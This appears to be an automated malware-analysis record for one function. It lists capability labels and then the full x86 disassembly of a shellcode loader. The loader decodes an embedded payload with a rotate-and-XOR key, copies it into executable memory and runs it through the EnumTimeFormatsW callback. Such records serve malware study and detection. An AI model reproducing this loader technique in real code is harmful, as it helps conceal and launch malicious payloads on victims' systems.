Function at 0x404fd0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
push str.VirtualAlloc
movups xmmword [ebp - 0x40], xmm0
push str.Kernel32.dll
mov dword [ebp - 0x2c], 0xf
xor esi, esi
mov byte [ebp - 0x40], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x3000
push 0x1dcd6500
mov edi, eax
push esi
call edi
test eax, eax
je 0x40524b
mov ecx, 0x1dcd6500
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x405030
lea ebx, [ecx + 0xd]
nop
mov al, byte [ecx + section..data]
ror al, 3
xor al, byte [esi + str.apjicxlivkbqa]
mov byte [ecx + section..data], al
lea eax, [esi + 1]
cdq
inc ecx
idiv ebx
mov esi, edx
cmp ecx, 0x17af
jb 0x405040
push 0x40
push 0x3000
push 0x17af
push 0
call edi
mov edi, eax
lea eax, [edi + 0x17ae]
cmp edi, 0x42f7ae
ja 0x4050b0
cmp eax, section..data
jb 0x4050b0
mov esi, section..data
mov ecx, edi
sub esi, edi
mov edx, 0x17af
nop dword [eax + eax]
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x4050a0
jmp 0x4050c3
push 0x17af
push section..data
push edi
call fcn.00408b40
add esp, 0xc
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
mov eax, dword [0x430870]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x4308a0]
mov esi, dword [eax + 4]
mov ecx, esi
mov dword [ebp - 4], esi
mov eax, dword [esi]
call dword [eax + 4]
lea eax, [ebp - 8]
push eax
call fcn.004013c0
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
mov eax, dword [edx + 0x20]
call eax
mov byte [ebp - 4], al
test esi, esi
je 0x40511a
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
test eax, eax
je 0x40511a
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push dword [ebp - 4]
lea eax, [ebp - 0x40]
push eax
push 0x430870
call fcn.00401200
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
mov edi, dword [ebp - 0x40]
xorps xmm0, xmm0
mov ebx, dword [ebp - 0x30]
cmovae eax, edi
mov dword [ebp - 4], eax
movups xmmword [ebp - 0x28], xmm0
cmp ebx, 0x7fffffff
ja 0x405288
cmp ebx, 0x10
jae 0x405169
movups xmm0, xmmword [eax]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
movups xmmword [ebp - 0x28], xmm0
jmp 0x4051ac
mov esi, ebx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x40517d
mov esi, 0x7fffffff
jmp 0x405187
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x28]
call fcn.004036e0
lea ecx, [ebx + 1]
mov dword [ebp - 0x28], eax
push ecx
push dword [ebp - 4]
mov dword [ebp - 0x18], ebx
push eax
mov dword [ebp - 0x14], esi
call fcn.00408b40
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.004044c0
push eax
mov ecx, 0x4308e8
call fcn.00401f60
mov ebx, eax
mov ecx, dword [ebx]
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + ebx + 0x30]
mov esi, dword [ecx + 4]
mov ecx, esi
mov dword [ebp - 0xc], esi
mov edx, dword [esi]
call dword [edx + 4]
lea eax, [ebp - 0x10]
push eax
call fcn.004013c0
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
mov eax, dword [edx + 0x20]
call eax
mov byte [ebp - 4], al
test esi, esi
je 0x405208
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
test eax, eax
je 0x405208
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push dword [ebp - 4]
mov ecx, ebx
call fcn.00404d10
mov ecx, ebx
call fcn.00404af0
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x40524e
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40523f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40528d
push ecx
push edx
call fcn.0040783d
add esp, 8
jmp 0x40524e
mov edi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x40527d
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x405273
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40528d
push ecx
push edi
call fcn.0040783d
add esp, 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.004036c0
call fcn.0040c30f
int3